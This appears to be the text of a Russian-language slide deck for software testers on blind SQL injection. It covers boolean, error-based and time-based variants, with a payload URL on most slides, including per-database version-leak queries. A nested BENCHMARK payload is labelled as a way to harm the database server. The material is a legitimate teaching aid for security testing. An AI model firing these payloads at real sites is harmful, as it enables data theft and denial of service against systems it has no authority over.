Слепые SQL инъекции. Игорь Бондаренко. Neklo.
Архитектура уязвимости Blind SQL Injection Classical Injection Error Based Injection Double Blind Ijection 1/16
Условия возникновения уязвимости Результат выполнения внедренного запроса не отображается среди данных доступных пользователю Внедренный запрос попадает в несколько разных запросов, осуществляющих выборку из таблиц с различным числом столбцов Используется фильтрация склеивания запросов 2/16
Classical Injection Вывод информации на экран: Невозможен Способ обнаружения: Посимвольный перебор site.com/index.php?id=2 Select title, page From Pages Where Pages.id = 2; 3/16
Обнаружение уязвимости site.com/index.php?id=2’ AND ‘1’ = ‘1’— Select title, page From Pages Where Pages.id = 2 AND 1=1; site.com/index.php?id=2’ AND ‘1’=‘2’— Select title, page From Pages Where Pages.id = 2 AND 1=2; 4/16
Эксплуатация уязвимости site.com/index.php?id=2’ AND USER_NAME() = ‘Admin‘ site.com/index.php?id=2’ AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 109 5/16
Тестирование 1. Проверка корректной обработки истинных и ложных запросов 2. Проверка со значениями подобранными для существующих пользователей и имен таблиц 6/16
Error Based Injection Вывод информации на экран: В сообщениях об ошибках Способ обнаружения: Использование готовых техник для конкретных баз данных 7/16
Способ обнаружения site.com/index.php?id=2’ OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID(VERSION(), FLOOR(RAND(0)*2), 64)) -- При наличии уязвимости приложение вернет ошибку: Duplicate entry '5.0.45' for key 1 8/16
Запросы для других баз данных PostgreSQL: site.com/index.php?id=1 and(1)=cast(version() as numeric)— MSSQL: site.com/index.php?id=1 and(1)=convert(int,@@version)— Sybase: site.com/index.php?id=1 and(1)=convert(int,@@version)— Oracle: site.com/index.php?id=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)-- 9/16
Тестирование 1. Определение версии и типа поддерживаемой БД 2. Использование готовых эксплоитов для определенной БД 10/16
Double Blind Injections Вывод информации на экран: Отсутствует Способ обнаружения: Посимвольный перебор с использованием временных задержек 11/16
Техники эксплуатации Посимвольный перебор с помощью Benchmark: site.com/index.php?id=2’ AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 109 , 1, BENCHMARK(2999999,MD5(NOW()))) Способ навредить серверу БД: site.com/index.php?id=2’ AND BENCHMARK(100000, BENCHMARK(100000,md5(current_time))) 12/16
Техники эксплуатации Посимвольный перебор с помощью Benchmark: site.com/index.php?id=2’ OR id= IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, BENCHMARK(2999999,MD5(NOW()))) Способ навредить серверу БД: site.com/index.php?id=2’ AND BENCHMARK(100000, BENCHMARK(100000,md5(current_time))) 13/16
Тестирование 1. Проверка отсутствия временных задержек при выполнении истинных и ложных запросов 2. Подбор приемлемого времени отклика 3. Проверка со значениями подобранными для существующих пользователей и имен таблиц 14/16
Программы для поиска уязвимостей 1. SQLMap 2. Blind SQL Injector Tool 3. WebInspect 15/16
Заключение 1. Проверки слепых инъекций значительно повысят качество ваших тестов 2. Тесты быстрые и простые 3. Тесты можно не проводить вручную 16/16
Вопросы Email : bondarenko.ihar@yandex.ru Skype : igor.bondarenko1